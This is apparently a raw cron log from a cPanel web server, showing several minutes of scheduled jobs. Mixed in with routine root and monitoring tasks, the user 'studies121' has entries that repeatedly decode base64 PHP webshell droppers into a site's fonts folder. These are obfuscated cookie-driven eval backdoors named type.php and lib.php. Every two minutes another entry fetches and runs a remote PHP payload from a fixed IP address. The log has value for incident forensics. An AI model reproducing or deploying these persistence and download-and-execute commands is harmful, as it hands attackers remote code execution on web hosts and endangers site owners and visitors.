Feb 22 21:45:01 ip-184-168-122-23 CROND[9691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:45:01 ip-184-168-122-23 CROND[9696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:45:01 ip-184-168-122-23 CROND[9695]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 21:45:01 ip-184-168-122-23 CROND[9694]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 21:45:01 ip-184-168-122-23 CROND[9697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:46:01 ip-184-168-122-23 CROND[10068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:46:01 ip-184-168-122-23 CROND[10069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:46:01 ip-184-168-122-23 CROND[10070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:46:01 ip-184-168-122-23 CROND[10073]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:46:01 ip-184-168-122-23 CROND[10077]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 21:46:01 ip-184-168-122-23 CROND[10076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:47:01 ip-184-168-122-23 CROND[10401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:47:01 ip-184-168-122-23 CROND[10402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:47:01 ip-184-168-122-23 CROND[10403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:47:01 ip-184-168-122-23 CROND[10406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:48:01 ip-184-168-122-23 CROND[10734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:48:01 ip-184-168-122-23 CROND[10736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:48:01 ip-184-168-122-23 CROND[10737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:48:01 ip-184-168-122-23 CROND[10738]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:48:01 ip-184-168-122-23 CROND[10739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:49:01 ip-184-168-122-23 CROND[11078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:49:01 ip-184-168-122-23 CROND[11079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:49:01 ip-184-168-122-23 CROND[11080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:49:01 ip-184-168-122-23 CROND[11083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:50:01 ip-184-168-122-23 CROND[11518]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 21:50:01 ip-184-168-122-23 CROND[11521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:50:01 ip-184-168-122-23 CROND[11524]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 21:50:01 ip-184-168-122-23 CROND[11526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:50:01 ip-184-168-122-23 CROND[11525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:50:01 ip-184-168-122-23 CROND[11523]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 21:50:01 ip-184-168-122-23 CROND[11529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:50:01 ip-184-168-122-23 CROND[11530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:50:01 ip-184-168-122-23 CROND[11527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 21:51:01 ip-184-168-122-23 CROND[11871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:51:01 ip-184-168-122-23 CROND[11870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:51:01 ip-184-168-122-23 CROND[11873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:51:01 ip-184-168-122-23 CROND[11875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:52:01 ip-184-168-122-23 CROND[12209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:52:01 ip-184-168-122-23 CROND[12210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:52:01 ip-184-168-122-23 CROND[12212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:52:01 ip-184-168-122-23 CROND[12213]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:52:01 ip-184-168-122-23 CROND[12214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:53:01 ip-184-168-122-23 CROND[12570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:53:01 ip-184-168-122-23 CROND[12571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:53:01 ip-184-168-122-23 CROND[12575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:53:01 ip-184-168-122-23 CROND[12576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:54:01 ip-184-168-122-23 CROND[12932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:54:01 ip-184-168-122-23 CROND[12934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:54:01 ip-184-168-122-23 CROND[12935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:54:01 ip-184-168-122-23 CROND[12936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:54:01 ip-184-168-122-23 CROND[12937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:55:01 ip-184-168-122-23 CROND[13265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:55:01 ip-184-168-122-23 CROND[13267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:55:01 ip-184-168-122-23 CROND[13268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:55:01 ip-184-168-122-23 CROND[13269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:55:01 ip-184-168-122-23 CROND[13270]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 21:55:01 ip-184-168-122-23 CROND[13271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 21:56:01 ip-184-168-122-23 CROND[13675]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:56:01 ip-184-168-122-23 CROND[13676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:56:01 ip-184-168-122-23 CROND[13679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:56:02 ip-184-168-122-23 CROND[13682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:56:02 ip-184-168-122-23 CROND[13684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:57:01 ip-184-168-122-23 CROND[14016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
